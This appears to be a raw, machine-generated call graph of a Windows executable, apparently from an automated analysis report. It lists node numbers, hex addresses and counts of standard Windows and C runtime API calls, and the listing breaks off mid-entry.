98774 d8d594 98826 d88bb2 68 API calls 98774->98826 98775 dc2cdf 98775->98775 98776 d8d6ab 98776->98762 98777->98792 98836 dfb1b7 341 API calls 3 library calls 98777->98836 98781 d8d5a3 98781->98762 98782 dc2c26 98845 dfaa66 89 API calls 98782->98845 98792->98776 98846 dea0b5 89 API calls 4 library calls 98792->98846 98795->98774 98795->98776 98795->98782 98795->98792 98797 d8a000 98795->98797 98820 d888a0 68 API calls __cinit 98795->98820 98821 d886a2 68 API calls 98795->98821 98822 d88620 98795->98822 98827 d8859a 68 API calls 98795->98827 98828 d8d0dc 341 API calls 98795->98828 98829 d89f3a 59 API calls Mailbox 98795->98829 98830 da2f80 98795->98830 98833 d8d060 89 API calls 98795->98833 98834 d8cedd 341 API calls 98795->98834 98838 d88bb2 68 API calls 98795->98838 98839 d89e9c 60 API calls Mailbox 98795->98839 98840 dd6d03 60 API calls 98795->98840 98841 d881a7 98795->98841 98798 d8a01f 98797->98798 98815 d8a04d Mailbox 98797->98815 98799 da0ff6 Mailbox 59 API calls 98798->98799 98799->98815 98800 da2f80 67 API calls __cinit 98800->98815 98801 d8b5d5 98802 d881a7 59 API calls 98801->98802 98814 d8a1b7 98802->98814 98803 da0ff6 59 API calls Mailbox 98803->98815 98804 d877c7 59 API calls 98804->98815 98808 dc047f 98849 dea0b5 89 API calls 4 library calls 98808->98849 98810 d881a7 59 API calls 98810->98815 98812 dd7405 59 API calls 98812->98815 98813 dc048e 98813->98795 98814->98795 98815->98800 98815->98801 98815->98803 98815->98804 98815->98808 98815->98810 98815->98812 98815->98814 98816 dc0e00 98815->98816 98818 d8b5da 98815->98818 98819 d8a6ba 98815->98819 98847 d8ca20 341 API calls 2 library calls 98815->98847 98848 d8ba60 60 API calls Mailbox 98815->98848 98851 dea0b5 89 API calls 4 library calls 98816->98851 98852 dea0b5 89 API calls 4 library calls 98818->98852 98850 dea0b5 89 API calls 4 library calls 98819->98850 98820->98795 98821->98795 98823 d8862b 98822->98823 98825 d88652 98823->98825 98853 d88b13 69 API calls Mailbox 98823->98853 98825->98795 98826->98781 98827->98795 98828->98795 98829->98795 98854 da2e84 98830->98854 98832 da2f8b 98832->98795 98833->98795 98834->98795 98835->98776 98836->98792 98837->98795 98838->98795 98839->98795 98840->98795 98842 d881ba 98841->98842 98843 d881b2 98841->98843 98842->98795 98932 d880d7 59 API calls 2 library calls 98843->98932 98845->98792 98846->98775 98847->98815 98848->98815 98849->98813 98850->98814 98851->98818 98852->98814 98853->98825 98855 da2e90 __initptd 98854->98855 98862 da3457 98855->98862 98861 da2eb7 __initptd 98861->98832 98879 da9e4b 98862->98879 98864 da2e99 98865 da2ec8 DecodePointer DecodePointer 98864->98865 98866 da2ea5 98865->98866 98867 da2ef5 98865->98867 98876 da2ec2 98866->98876 98867->98866 98925 da89e4 59 API calls 2 library calls 98867->98925 98869 da2f58 EncodePointer EncodePointer 98869->98866 98870 da2f2c 98870->98866 98875 da2f46 EncodePointer 98870->98875 98927 da8aa4 61 API calls 2 library calls 98870->98927 98871 da2f07 98871->98869 98871->98870 98926 da8aa4 61 API calls 2 library calls 98871->98926 98874 da2f40 98874->98866 98874->98875 98875->98869 98928 da3460 98876->98928 98880 da9e6f EnterCriticalSection 98879->98880 98881 da9e5c 98879->98881 98880->98864 98886 da9ed3 98881->98886 98883 da9e62 98883->98880 98910 da32f5 58 API calls 3 library calls 98883->98910 98887 da9edf __initptd 98886->98887 98888 da9ee8 98887->98888 98889 da9f00 98887->98889 98911 daa3ab 58 API calls 2 library calls 98888->98911 98898 da9f21 __initptd 98889->98898 98914 da8a5d 58 API calls __malloc_crt 98889->98914 98891 da9eed 98912 daa408 58 API calls 8 library calls 98891->98912 98894 da9f15 98896 da9f2b 98894->98896 98897 da9f1c 98894->98897 98895 da9ef4 98913 da32df GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 98895->98913 98899 da9e4b __lock 58 API calls 98896->98899 98915 da8d68 58 API calls __getptd_noexit 98897->98915 98898->98883 98902 da9f32 98899->98902 98904 da9f3f 98902->98904 98905 da9f57 98902->98905 98916 daa06b InitializeCriticalSectionAndSpinCount 98904->98916 98917 da2f95 98905->98917 98908 da9f4b 98923 da9f73 LeaveCriticalSection _doexit 98908->98923 98911->98891 98912->98895 98914->98894 98915->98898 98916->98908 98918 da2fc7 _free 98917->98918 98919 da2f9e RtlFreeHeap 98917->98919 98918->98908 98919->98918 98920 da2fb3 98919->98920 98924 da8d68 58 API calls __getptd_noexit 98920->98924 98922 da2fb9 GetLastError 98922->98918 98923->98898 98924->98922 98925->98871 98926->98870 98927->98874 98931 da9fb5 LeaveCriticalSection 98928->98931 98930 da2ec7 98930->98861 98931->98930 98932->98842 98933 d8107d 98938 d871eb 98933->98938 98935 d8108c 98936 da2f80 __cinit 67 API calls 98935->98936 98937 d81096 98936->98937 98939 d871fb __ftell_nolock 98938->98939 98969 d877c7 98939->98969 98943 d872ba 98981 da074f 98943->98981 98950 d877c7 59 API calls 98951 d872eb 98950->98951 98952 d87eec 59 API calls 98951->98952 98953 d872f4 RegOpenKeyExW 98952->98953 98954 dbecda RegQueryValueExW 98953->98954 98960 d87316 Mailbox 98953->98960 98955 dbed6c RegCloseKey 98954->98955 98956 dbecf7 98954->98956 98957 dbed7e _wcscat Mailbox __wsetenvp 98955->98957 98955->98960 98958 da0ff6 Mailbox 59 API calls 98956->98958 98957->98960 98967 d83f84 59 API calls 98957->98967 98968 d87b52 59 API calls 98957->98968 99012 d87f41 98957->99012 98959 dbed10 98958->98959 99000 d8538e 98959->99000 98960->98935 98963 dbed38 99003 d87d2c 98963->99003 98965 dbed52 98965->98955 98967->98957 98968->98957 98970 da0ff6 Mailbox 59 API calls 98969->98970 98971 d877e8 98970->98971 98972 da0ff6 Mailbox 59 API calls 98971->98972 98973 d872b1 98972->98973 98974 d84864 98973->98974 99016 db1b90 98974->99016 98977 d87f41 59 API calls 98978 d84897 98977->98978 99018 d848ae 98978->99018 98980 d848a1 Mailbox 98980->98943 98982 db1b90 __ftell_nolock 98981->98982 98983 da075c GetFullPathNameW 98982->98983 98984 da077e 98983->98984 98985 d87d2c 59 API calls 98984->98985 98986 d872c5 98985->98986 98987 d87e0b 98986->98987 98988 d87e1f 98987->98988 98989 dbf173 98987->98989 99040 d87db0 98988->99040 99045 d88189 98989->99045 98992 d872d3 98994 d83f84 98992->98994 98993 dbf17e __wsetenvp _memmove 98995 d83f92 98994->98995 98999 d83fb4 _memmove 98994->98999 98997 da0ff6 Mailbox 59 API calls 98995->98997 98996 da0ff6 Mailbox 59 API calls 98998 d83fc8 98996->98998 98997->98999 98998->98950 98999->98996 99001 da0ff6 Mailbox 59 API calls 99000->99001 99002 d853a0 RegQueryValueExW 99001->99002 99002->98963 99002->98965 99004 d87d38 __wsetenvp 99003->99004 99005 d87da5 99003->99005 99008 d87d4e 99004->99008 99009 d87d73 99004->99009 99006 d87e8c 59 API calls 99005->99006 99007 d87d56 _memmove 99006->99007 99007->98965 99048 d88087 59 API calls Mailbox 99008->99048 99011 d88189 59 API calls 99009->99011 99011->99007 99013 d87f50 __wsetenvp _memmove 99012->99013 99014 da0ff6 Mailbox 59 API calls 99013->99014 99015 d87f8e 99014->99015 99015->98957 99017 d84871 GetModuleFileNameW 99016->99017 99017->98977 99019 db1b90 __ftell_nolock 99018->99019 99020 d848bb GetFullPathNameW 99019->99020 99021 d848da 99020->99021 99022 d848f7 99020->99022 99023 d87d2c 59 API calls 99021->99023 99024 d87eec 59 API calls 99022->99024 99025 d848e6 99023->99025 99024->99025 99028 d87886 99025->99028 99029 d87894 99028->99029 99032 d87e8c 99029->99032 99031 d848f2 99031->98980 99033 d87e9a 99032->99033 99035 d87ea3 _memmove 99032->99035 99033->99035 99036 d87faf 99033->99036 99035->99031 99037 d87fc2 99036->99037 99039 d87fbf _memmove 99036->99039 99038 da0ff6 Mailbox 59 API calls 99037->99038 99038->99039 99039->99035 99041 d87dbf __wsetenvp 99040->99041 99042 d88189 59 API calls 99041->99042 99043 d87dd0 _memmove 99041->99043 99044 dbf130 _memmove 99042->99044 99043->98992 99046 da0ff6 Mailbox 59 API calls 99045->99046 99047 d88193 99046->99047 99047->98993 99048->99007 99049 da7e93 99050 da7e9f __initptd 99049->99050 99086 daa048 GetStartupInfoW 99050->99086 99052 da7ea4 99088 da8dbc GetProcessHeap 99052->99088 99054 da7efc 99055 da7f07 99054->99055 99171 da7fe3 58 API calls 3 library calls 99054->99171 99089 da9d26 99055->99089 99058 da7f0d 99059 da7f18 __RTC_Initialize 99058->99059 99172 da7fe3 58 API calls 3 library calls 99058->99172 99110 dad812 99059->99110 99062 da7f27 99063 da7f33 GetCommandLineW 99062->99063 99173 da7fe3 58 API calls 3 library calls 99062->99173 99129 db5173 GetEnvironmentStringsW 99063->99129 99066 da7f32 99066->99063 99069 da7f4d 99070 da7f58 99069->99070 99174 da32f5 58 API calls 3 library calls 99069->99174 99139 db4fa8 99070->99139 99073 da7f5e 99074 da7f69 99073->99074 99175 da32f5 58 API calls 3 library calls 99073->99175 99153 da332f 99074->99153 99077 da7f71 99078 da7f7c __wwincmdln 99077->99078 99176 da32f5 58 API calls 3 library calls 99077->99176 99159 d8492e 99078->99159 99081 da7f90 99082 da7f9f 99081->99082 99177 da3598 58 API calls _doexit 99081->99177 99178 da3320 58 API calls _doexit 99082->99178 99085 da7fa4 __initptd 99087 daa05e 99086->99087 99087->99052 99088->99054 99179 da33c7 36 API calls 2 library calls 99089->99179 99091 da9d2b 99180 da9f7c InitializeCriticalSectionAndSpinCount __mtinitlocks 99091->99180 99093 da9d30 99094 da9d34 99093->99094 99182 da9fca TlsAlloc 99093->99182 99181 da9d9c 61 API calls 2 library calls 99094->99181 99097 da9d46 99097->99094 99099 da9d51 99097->99099 99098 da9d39 99098->99058 99183 da8a15 99099->99183 99102 da9d93 99191 da9d9c 61 API calls 2 library calls 99102->99191 99105 da9d72 99105->99102 99107 da9d78 99105->99107 99106 da9d98 99106->99058 99190 da9c73 58 API calls 3 library calls 99107->99190 99109 da9d80 GetCurrentThreadId 99109->99058 99111 dad81e __initptd 99110->99111 99112 da9e4b __lock 58 API calls 99111->99112 99113 dad825 99112->99113 99114 da8a15 __calloc_crt 58 API calls 99113->99114 99115 dad836 99114->99115 99116 dad8a1 GetStartupInfoW 99115->99116 99117 dad841 __initptd @_EH4_CallFilterFunc@8 99115->99117 99123 dad8b6 99116->99123 99126 dad9e5 99116->99126 99117->99062 99118 dadaad 99205 dadabd LeaveCriticalSection _doexit 99118->99205 99120 da8a15 __calloc_crt 58 API calls 99120->99123 99121 dada32 GetStdHandle 99121->99126 99122 dada45 GetFileType 99122->99126 99123->99120 99125 dad904 99123->99125 99123->99126 99124 dad938 GetFileType 99124->99125 99125->99124 99125->99126 99203 daa06b InitializeCriticalSectionAndSpinCount 99125->99203 99126->99118 99126->99121 99126->99122 99204 daa06b InitializeCriticalSectionAndSpinCount 99126->99204 99130 da7f43 99129->99130 99131 db5184 99129->99131 99135 db4d6b GetModuleFileNameW 99130->99135 99206 da8a5d 58 API calls __malloc_crt 99131->99206 99133 db51aa _memmove 99134 db51c0 FreeEnvironmentStringsW 99133->99134 99134->99130 99136 db4d9f _wparse_cmdline 99135->99136 99138 db4ddf _wparse_cmdline 99136->99138 99207 da8a5d 58 API calls __malloc_crt 99136->99207 99138->99069 99140 db4fb9 99139->99140 99142 db4fc1 __wsetenvp 99139->99142 99140->99073 99141 da8a15 __calloc_crt 58 API calls 99149 db4fea __wsetenvp 99141->99149 99142->99141 99143 db5041 99144 da2f95 _free 58 API calls 99143->99144 99144->99140 99145 da8a15 __calloc_crt 58 API calls 99145->99149 99146 db5066 99147 da2f95 _free 58 API calls 99146->99147 99147->99140 99149->99140 99149->99143 99149->99145 99149->99146 99150 db507d 99149->99150 99208 db4857 58 API calls 2 library calls 99149->99208 99209 da9006 IsProcessorFeaturePresent 99150->99209 99152 db5089 99152->99073 99155 da333b __IsNonwritableInCurrentImage 99153->99155 99232 daa711 99155->99232 99156 da3359 __initterm_e 99157 da2f80 __cinit 67 API calls 99156->99157 99158 da3378 _doexit __IsNonwritableInCurrentImage 99156->99158 99157->99158 99158->99077 99160 d84948 99159->99160 99170 d849e7 99159->99170 99161 d84982 IsThemeActive 99160->99161 99235 da35ac 99161->99235 99165 d849ae 99247 d84a5b SystemParametersInfoW SystemParametersInfoW 99165->99247 99167 d849ba 99248 d83b4c 99167->99248 99169 d849c2 SystemParametersInfoW 99169->99170 99170->99081 99171->99055 99172->99059 99173->99066 99177->99082 99178->99085 99179->99091 99180->99093 99181->99098 99182->99097 99185 da8a1c 99183->99185 99186 da8a57 99185->99186 99187 da8a3a 99185->99187 99192 db5446 99185->99192 99186->99102 99189 daa026 TlsSetValue 99186->99189 99187->99185 99187->99186 99200 daa372 Sleep 99187->99200 99189->99105 99190->99109 99191->99106 99193 db5451 99192->99193 99198 db546c 99192->99198 99194 db545d 99193->99194 99193->99198 99201 da8d68 58 API calls __getptd_noexit 99194->99201 99196 db547c HeapAlloc 99197 db5462 99196->99197 99196->99198 99197->99185 99198->99196 99198->99197 99202 da35e1 DecodePointer 99198->99202 99200->99187 99201->99197 99202->99198 99203->99125 99204->99126 99205->99117 99206->99133 99207->99138 99208->99149 99210 da9011 99209->99210 99215 da8e99 99210->99215 99214 da902c 99214->99152 99216 da8eb3 _memset ___raise_securityfailure 99215->99216 99217 da8ed3 IsDebuggerPresent 99216->99217 99223 daa395 SetUnhandledExceptionFilter UnhandledExceptionFilter 99217->99223 99220 da8f97 ___raise_securityfailure 99224 dac836 99220->99224 99221 da8fba 99222 daa380 GetCurrentProcess TerminateProcess 99221->99222 99222->99214 99223->99220 99225 dac83e 99224->99225 99226 dac840 IsProcessorFeaturePresent 99224->99226 99225->99221 99228 db5b5a 99226->99228 99231 db5b09 5 API calls 2 library calls 99228->99231 99230 db5c3d 99230->99221 99231->99230 99233 daa714 EncodePointer 99232->99233 99233->99233 99234 daa72e 99233->99234 99234->99156 99236 da9e4b __lock 58 API calls 99235->99236 99237 da35b7 DecodePointer EncodePointer 99236->99237 99300 da9fb5 LeaveCriticalSection 99237->99300 99239 d849a7 99240 da3614 99239->99240 99241 da3638 99240->99241 99242 da361e 99240->99242 99241->99165 99242->99241 99301 da8d68 58 API calls __getptd_noexit 99242->99301 99244 da3628 99302 da8ff6 9 API calls __wcsnicmp 99244->99302 99246 da3633 99246->99165 99247->99167 99249 d83b59 __ftell_nolock 99248->99249 99250 d877c7 59 API calls 99249->99250 99251 d83b63 GetCurrentDirectoryW 99250->99251 99303 d83778 99251->99303 99253 d83b8c IsDebuggerPresent 99254 d83b9a 99253->99254 99255 dbd4ad MessageBoxA 99253->99255 99256 dbd4c7 99254->99256 99257 d83bb7 99254->99257 99286 d83c73 99254->99286 99255->99256 99513 d87373 59 API calls Mailbox 99256->99513 99384 d873e5 99257->99384 99258 d83c7a SetCurrentDirectoryW 99261 d83c87 Mailbox 99258->99261 99261->99169 99262 dbd4d7 99267 dbd4ed SetCurrentDirectoryW 99262->99267 99264 d83bd5 GetFullPathNameW 99265 d87d2c 59 API calls 99264->99265 99266 d83c10 99265->99266 99400 d90a8d 99266->99400 99267->99261 99270 d83c2e 99271 d83c38 99270->99271 99514 de4c03 AllocateAndInitializeSid CheckTokenMembership FreeSid 99270->99514 99416 d83a58 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 99271->99416 99274 dbd50a 99274->99271 99277 dbd51b 99274->99277 99279 d84864 61 API calls 99277->99279 99278 d83c42 99280 d83c55 99278->99280 99283 dbd523 99279->99283 99285 d87f41 59 API calls 99283->99285 99287 dbd530 99285->99287 99286->99258 99288 dbd53a 99287->99288 99289 dbd55f 99287->99289 99300->99239 99301->99244 99302->99246 99304 d877c7 59 API calls 99303->99304 99305 d8378e 99304->99305 99524 d83d43 99305->99524 99307 d837ac 99308 d84864 61 API calls 99307->99308 99309 d837c0 99308->99309 99310 d87f41 59 API calls 99309->99310 99311 d837cd 99310->99311 99538 d84f3d 99311->99538 99314 dbd3ae 99601 de97e5 99314->99601 99315 d837ee Mailbox 99319 d881a7 59 API calls 99315->99319 99318 dbd3cd 99321 da2f95 _free 58 API calls 99318->99321 99322 d83801 99319->99322 99323 dbd3da 99321->99323 99562 d893ea 99322->99562 99325 d84faa 84 API calls 99323->99325 99327 dbd3e3 99325->99327 99331 d83ee2 59 API calls 99327->99331 99328 d87f41 59 API calls 99329 d8381a 99328->99329 99330 d88620 69 API calls 99329->99330 99332 d8382c Mailbox 99330->99332 99333 dbd3fe 99331->99333 99334 d87f41 59 API calls 99332->99334 99336 d83ee2 59 API calls 99333->99336 99335 d83852 99334->99335 99338 d88620 69 API calls 99335->99338 99337 dbd41a 99336->99337 99339 d84864 61 API calls 99337->99339 99341 d83861 Mailbox 99338->99341 99340 dbd43f 99339->99340 99342 d83ee2 59 API calls 99340->99342 99344 d877c7 59 API calls 99341->99344 99343 dbd44b 99342->99343 99345 d881a7 59 API calls 99343->99345 99346 d8387f 99344->99346 99347 dbd459 99345->99347 99565 d83ee2 99346->99565 99349 d83ee2 59 API calls 99347->99349 99351 dbd468 99349->99351 99358 d881a7 59 API calls 99351->99358 99353 d83899 99353->99327 99354 d838a3 99353->99354 99355 da313d _W_store_winword 60 API calls 99354->99355 99356 d838ae 99355->99356 99356->99333 99357 d838b8 99356->99357 99360 da313d _W_store_winword 60 API calls 99357->99360 99359 dbd48a 99358->99359 99361 d83ee2 59 API calls 99359->99361 99362 d838c3 99360->99362 99363 dbd497 99361->99363 99362->99337 99364 d838cd 99362->99364 99363->99363 99365 da313d _W_store_winword 60 API calls 99364->99365 99366 d838d8 99365->99366 99366->99351 99367 d83919 99366->99367 99369 d83ee2 59 API calls 99366->99369 99367->99351 99368 d83926 99367->99368 99581 d8942e 99368->99581 99371 d838fc 99369->99371 99373 d881a7 59 API calls 99371->99373 99375 d8390a 99373->99375 99377 d83ee2 59 API calls 99375->99377 99377->99367 99379 d893ea 59 API calls 99381 d83961 99379->99381 99380 d89040 60 API calls 99380->99381 99381->99379 99381->99380 99382 d83ee2 59 API calls 99381->99382 99383 d839a7 Mailbox 99381->99383 99382->99381 99383->99253 99385 d873f2 __ftell_nolock 99384->99385 99386 dbee4b _memset 99385->99386 99387 d8740b 99385->99387 99389 dbee67 GetOpenFileNameW 99386->99389 99388 d848ae 60 API calls 99387->99388 99390 d87414 99388->99390 99391 dbeeb6 99389->99391 100456 da09d5 99390->100456 99393 d87d2c 59 API calls 99391->99393 99395 dbeecb 99393->99395 99395->99395 99397 d87429 100474 d869ca 99397->100474 99401 d90a9a __ftell_nolock 99400->99401 100779 d86ee0 99401->100779 99403 d90a9f 99404 d83c26 99403->99404 100790 d912fe 89 API calls 99403->100790 99404->99262 99404->99270 99406 d90aac 99406->99404 100791 d94047 91 API calls Mailbox 99406->100791 99408 d90ab5 99408->99404 99409 d90ab9 GetFullPathNameW 99408->99409 99410 d87d2c 59 API calls 99409->99410 99411 d90ae5 99410->99411 99412 d87d2c 59 API calls 99411->99412 99413 d90af2 99412->99413 99414 dc50d5 _wcscat 99413->99414 99415 d87d2c 59 API calls 99413->99415 99415->99404 99417 dbd49c 99416->99417 99418 d83ac2 LoadImageW RegisterClassExW 99416->99418 100830 d848fe LoadImageW EnumResourceNamesW 99417->100830 100829 d83041 7 API calls 99418->100829 99421 d83b46 99423 d839e7 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 99421->99423 99422 dbd4a5 99423->99278 99513->99262 99514->99274 99525 d83d50 __ftell_nolock 99524->99525 99526 d87d2c 59 API calls 99525->99526 99529 d83eb6 Mailbox 99525->99529 99528 d83d82 99526->99528 99531 d83db8 Mailbox 99528->99531 99642 d87b52 99528->99642 99529->99307 99530 d87b52 59 API calls 99530->99531 99531->99529 99531->99530 99533 d83e89 99531->99533 99534 d87f41 59 API calls 99531->99534 99537 d83f84 59 API calls 99531->99537 99532 d87f41 59 API calls 99535 d83eaa 99532->99535 99533->99529 99533->99532 99534->99531 99536 d83f84 59 API calls 99535->99536 99536->99529 99537->99531 99645 d84d13 99538->99645 99543 d84f68 LoadLibraryExW 99655 d84cc8 99543->99655 99544 dbdd0f 99545 d84faa 84 API calls 99544->99545 99547 dbdd16 99545->99547 99550 d84cc8 3 API calls 99547->99550 99552 dbdd1e 99550->99552 99551 d84f8f 99551->99552 99553 d84f9b 99551->99553 99681 d8506b 99552->99681 99554 d84faa 84 API calls 99553->99554 99556 d837e6 99554->99556 99556->99314 99556->99315 99559 dbdd45 99689 d85027 99559->99689 99561 dbdd52 99563 da0ff6 Mailbox 59 API calls 99562->99563 99564 d8380d 99563->99564 99564->99328 99566 d83eec 99565->99566 99567 d83f05 99565->99567 99568 d881a7 59 API calls 99566->99568 99569 d87d2c 59 API calls 99567->99569 99570 d8388b 99568->99570 99569->99570 99571 da313d 99570->99571 99572 da3149 99571->99572 99573 da31be 99571->99573 99580 da316e 99572->99580 100116 da8d68 58 API calls __getptd_noexit 99572->100116 100118 da31d0 60 API calls 4 library calls 99573->100118 99576 da31cb 99576->99353 99577 da3155 100117 da8ff6 9 API calls __wcsnicmp 99577->100117 99579 da3160 99579->99353 99580->99353 99582 d89436 99581->99582 99583 da0ff6 Mailbox 59 API calls 99582->99583 99584 d89444 99583->99584 99585 d83936 99584->99585 100119 d8935c 59 API calls Mailbox 99584->100119 99587 d891b0 99585->99587 100120 d892c0 99587->100120 99589 da0ff6 Mailbox 59 API calls 99591 d83944 99589->99591 99590 d891bf 99590->99589 99590->99591 99592 d89040 99591->99592 99593 dbf5a5 99592->99593 99595 d89057 99592->99595 99593->99595 100130 d88d3b 59 API calls Mailbox 99593->100130 99596 d89158 99595->99596 99597 d891a0 99595->99597 99600 d8915f 99595->99600 99598 da0ff6 Mailbox 59 API calls 99596->99598 100129 d89e9c 60 API calls Mailbox 99597->100129 99598->99600 99600->99381 99602 d85045 85 API calls 99601->99602 99603 de9854 99602->99603 100131 de99be 99603->100131 99606 d8506b 74 API calls 99607 de9881 99606->99607 99608 d8506b 74 API calls 99607->99608 99609 de9891 99608->99609 99610 d8506b 74 API calls 99609->99610 99611 de98ac 99610->99611 99612 d8506b 74 API calls 99611->99612 99613 de98c7 99612->99613 99614 d85045 85 API calls 99613->99614 99615 de98de 99614->99615 99616 da594c __malloc_crt 58 API calls 99615->99616 99617 de98e5 99616->99617 99618 da594c __malloc_crt 58 API calls 99617->99618 99619 de98ef 99618->99619 99620 d8506b 74 API calls 99619->99620 99621 de9903 99620->99621 99622 de9393 GetSystemTimeAsFileTime 99621->99622 99623 de9916 99622->99623 99624 de992b 99623->99624 99625 de9940 99623->99625 99626 da2f95 _free 58 API calls 99624->99626 99627 de9946 99625->99627 99628 de99a5 99625->99628 99630 de9931 99626->99630 100137 de8d90 99627->100137 99629 da2f95 _free 58 API calls 99628->99629 99633 dbd3c1 99629->99633 99634 da2f95 _free 58 API calls 99630->99634 99633->99318 99636 d84faa 99633->99636 99634->99633 99635 da2f95 _free 58 API calls 99635->99633 99637 d84fb4 99636->99637 99639 d84fbb 99636->99639 99638 da55d6 __fcloseall 83 API calls 99637->99638 99638->99639 99640 d84fca 99639->99640 99641 d84fdb FreeLibrary 99639->99641 99640->99318 99641->99640 99643 d87faf 59 API calls 99642->99643 99644 d87b5d 99643->99644 99644->99528 99694 d84d61 99645->99694 99648 d84d61 2 API calls 99651 d84d3a 99648->99651 99649 d84d4a FreeLibrary 99650 d84d53 99649->99650 99652 da548b 99650->99652 99651->99649 99651->99650 99698 da54a0 99652->99698 99654 d84f5c 99654->99543 99654->99544 99856 d84d94 99655->99856 99658 d84ced 99660 d84d08 99658->99660 99661 d84cff FreeLibrary 99658->99661 99659 d84d94 2 API calls 99659->99658 99662 d84dd0 99660->99662 99661->99660 99663 da0ff6 Mailbox 59 API calls 99662->99663 99664 d84de5 99663->99664 99665 d8538e 59 API calls 99664->99665 99666 d84df1 _memmove 99665->99666 99667 d84e2c 99666->99667 99668 d84ee9 99666->99668 99669 d84f21 99666->99669 99670 d85027 69 API calls 99667->99670 99860 d84fe9 CreateStreamOnHGlobal 99668->99860 99871 de9ba5 95 API calls 99669->99871 99678 d84e35 99670->99678 99673 d8506b 74 API calls 99673->99678 99674 d84ec9 99674->99551 99676 dbdcd0 99677 d85045 85 API calls 99676->99677 99679 dbdce4 99677->99679 99678->99673 99678->99674 99678->99676 99866 d85045 99678->99866 99680 d8506b 74 API calls 99679->99680 99680->99674 99682 d8507d 99681->99682 99683 dbddf6 99681->99683 99895 da5812 99682->99895 99686 de9393 100093 de91e9 99686->100093 99688 de93a9 99688->99559 99690 d85036 99689->99690 99693 dbddb9 99689->99693 100098 da5e90 99690->100098 99692 d8503e 99692->99561 99695 d84d2e 99694->99695 99696 d84d6a LoadLibraryA 99694->99696 99695->99648 99695->99651 99696->99695 99697 d84d7b GetProcAddress 99696->99697 99697->99695 99700 da54ac __initptd 99698->99700 99699 da54bf 99747 da8d68 58 API calls __getptd_noexit 99699->99747 99700->99699 99702 da54f0 99700->99702 99717 db0738 99702->99717 99703 da54c4 99748 da8ff6 9 API calls __wcsnicmp 99703->99748 99706 da54f5 99707 da550b 99706->99707 99708 da54fe 99706->99708 99710 da5535 99707->99710 99711 da5515 99707->99711 99749 da8d68 58 API calls __getptd_noexit 99708->99749 99732 db0857 99710->99732 99750 da8d68 58 API calls __getptd_noexit 99711->99750 99712 da54cf __initptd @_EH4_CallFilterFunc@8 99712->99654 99718 db0744 __initptd 99717->99718 99719 da9e4b __lock 58 API calls 99718->99719 99729 db0752 99719->99729 99720 db07c6 99752 db084e 99720->99752 99721 db07cd 99757 da8a5d 58 API calls __malloc_crt 99721->99757 99724 db0843 __initptd 99724->99706 99725 db07d4 99725->99720 99758 daa06b InitializeCriticalSectionAndSpinCount 99725->99758 99728 da9ed3 __mtinitlocknum 58 API calls 99728->99729 99729->99720 99729->99721 99729->99728 99755 da6e8d 59 API calls __lock 99729->99755 99756 da6ef7 LeaveCriticalSection LeaveCriticalSection _doexit 99729->99756 99730 db07fa EnterCriticalSection 99730->99720 99740 db0877 __wopenfile 99732->99740 99733 db0891 99763 da8d68 58 API calls __getptd_noexit 99733->99763 99735 db0896 99764 da8ff6 9 API calls __wcsnicmp 99735->99764 99737 da5540 99751 da5562 LeaveCriticalSection LeaveCriticalSection _fprintf 99737->99751 99738 db0aaf 99760 db87f1 99738->99760 99740->99733 99746 db0a4c 99740->99746 99765 da3a0b 60 API calls 3 library calls 99740->99765 99742 db0a45 99742->99746 99766 da3a0b 60 API calls 3 library calls 99742->99766 99744 db0a64 99744->99746 99767 da3a0b 60 API calls 3 library calls 99744->99767 99746->99733 99746->99738 99747->99703 99748->99712 99749->99712 99750->99712 99751->99712 99759 da9fb5 LeaveCriticalSection 99752->99759 99754 db0855 99754->99724 99755->99729 99756->99729 99757->99725 99758->99730 99759->99754 99768 db7fd5 99760->99768 99762 db880a 99762->99737 99763->99735 99764->99737 99765->99742 99766->99744 99767->99746 99769 db7fe1 __initptd 99768->99769 99770 db7ff7 99769->99770 99772 db802d 99769->99772 99853 da8d68 58 API calls __getptd_noexit 99770->99853 99779 db809e 99772->99779 99773 db7ffc 99854 da8ff6 9 API calls __wcsnicmp 99773->99854 99776 db8049 99855 db8072 LeaveCriticalSection __unlock_fhandle 99776->99855 99778 db8006 __initptd 99778->99762 99780 db80be 99779->99780 99781 da471a __wsopen_nolock 58 API calls 99780->99781 99785 db80da 99781->99785 99782 db8211 99783 da9006 __invoke_watson 8 API calls 99782->99783 99784 db87f0 99783->99784 99787 db7fd5 __wsopen_helper 103 API calls 99784->99787 99785->99782 99786 db8114 99785->99786 99793 db8137 99785->99793 99788 da8d34 __free_osfhnd 58 API calls 99786->99788 99789 db880a 99787->99789 99790 db8119 99788->99790 99789->99776 99791 da8d68 __recalloc 58 API calls 99790->99791 99792 db8126 99791->99792 99795 da8ff6 __wcsnicmp 9 API calls 99792->99795 99794 db81f5 99793->99794 99801 db81d3 99793->99801 99796 da8d34 __free_osfhnd 58 API calls 99794->99796 99797 db8130 99795->99797 99798 db81fa 99796->99798 99797->99776 99799 da8d68 __recalloc 58 API calls 99798->99799 99800 db8207 99799->99800 99802 da8ff6 __wcsnicmp 9 API calls 99800->99802 99803 dad4d4 __alloc_osfhnd 61 API calls 99801->99803 99802->99782 99804 db82a1 99803->99804 99805 db82ab 99804->99805 99806 db82ce 99804->99806 99807 da8d34 __free_osfhnd 58 API calls 99805->99807 99808 db7f4d ___createFile GetModuleHandleW GetProcAddress CreateFileW 99806->99808 99809 db82b0 99807->99809 99816 db82f0 99808->99816 99810 da8d68 __recalloc 58 API calls 99809->99810 99813 db82ba 99810->99813 99811 db836e GetFileType 99814 db83bb 99811->99814 99815 db8379 GetLastError 99811->99815 99812 db833c GetLastError 99817 da8d47 __dosmaperr 58 API calls 99812->99817 99818 da8d68 __recalloc 58 API calls 99813->99818 99824 dad76a __set_osfhnd 59 API calls 99814->99824 99819 da8d47 __dosmaperr 58 API calls 99815->99819 99816->99811 99816->99812 99820 db7f4d ___createFile GetModuleHandleW GetProcAddress CreateFileW 99816->99820 99821 db8361 99817->99821 99818->99797 99822 db83a0 CloseHandle 99819->99822 99823 db8331 99820->99823 99826 da8d68 __recalloc 58 API calls 99821->99826 99822->99821 99825 db83ae 99822->99825 99823->99811 99823->99812 99830 db83d9 99824->99830 99827 da8d68 __recalloc 58 API calls 99825->99827 99826->99782 99828 db83b3 99827->99828 99828->99821 99829 db8594 99829->99782 99832 db8767 CloseHandle 99829->99832 99830->99829 99831 db1b11 __lseeki64_nolock 60 API calls 99830->99831 99849 db845a 99830->99849 99833 db8443 99831->99833 99834 db7f4d 